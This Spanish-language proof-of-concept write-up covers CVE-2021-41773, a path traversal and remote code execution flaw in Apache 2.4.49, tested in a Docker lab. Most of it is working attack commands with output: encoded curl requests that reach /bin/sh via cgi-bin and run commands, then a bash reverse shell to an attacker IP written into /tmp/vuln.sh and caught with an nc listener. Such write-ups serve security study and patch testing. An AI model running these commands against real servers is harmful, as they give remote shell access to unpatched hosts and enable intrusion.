
Exploit de prueba de concepto para CVE-2021-41773, que demuestra el recorrido de rutas y la ejecución remota de código en Apache HTTP Server 2.4.49 con un payload de shell inversa.
Se encontró una falla en un cambio realizado a la normalización de rutas en Apache HTTP Server 2.4.49. Un atacante podría usar un ataque de path traversal para asignar URLs a archivos fuera de los directorios configurados por directivas similares a Alias.
Si los archivos fuera de estos directorios no están protegidos por la configuración predeterminada habitual "require all denied", estas solicitudes pueden tener éxito. Si también están habilitados los scripts CGI para estas rutas alias, esto podría permitir la ejecución remota de código.
Se sabe que este problema está siendo explotado activamente.
Este problema solo afecta a Apache 2.4.49 y no a versiones anteriores.
Un ataque de path traversal (también conocido como directory traversal) tiene como objetivo acceder a archivos y directorios que están almacenados fuera de la carpeta raíz web. Al manipular variables que hacen referencia a archivos con secuencias 'dot-dot-slash (../)' y sus variaciones, o usando rutas de archivo absolutas, puede ser posible acceder a archivos y directorios arbitrarios almacenados en el sistema de archivos, incluyendo código fuente de aplicaciones, archivos de configuración o archivos críticos del sistema. Debe tenerse en cuenta que el acceso a los archivos está limitado por los controles de acceso operacional del sistema (como en el caso de archivos bloqueados o en uso en el sistema operativo Microsoft Windows).
Este ataque también se conoce como 'dot-dot-slash', 'directory traversal', 'directory climbing' y 'backtracking'.
$ docker-compose build
$ docker-compose up
Confirmar que funciona
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Víctima : localhost:1234
Atacante : 192.168.1.12
De acuerdo con la documentación, esta es una falla que nos permite ejecutar código de forma remota (RCE).
Podemos explotarlo haciendo un curl con la carpeta cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Veamos si realmente tenemos acceso al comando, digamos id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Reverse shell
Probaremos una reverse shell creando un archivo bash en el servidor de la víctima.
Tomemos como ejemplo la reverse shell en bash encontrada en el repositorio PayloadsAllTheThings.
Aquí hay un ejemplo:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Creemos el archivo vuln.sh en la máquina de la víctima en la carpeta /tmp/!
Este archivo contendrá nuestra reverse shell que podemos ejecutar de forma remota. Se conectará a nuestra máquina local en el puerto 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Puedes verificar el contenido del archivo con el comando cat
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Listener con ncat
Creemos el listener en la máquina local.
$ nc -lvnp 44
Solo queda ejecutar el archivo remoto.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Respuesta:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.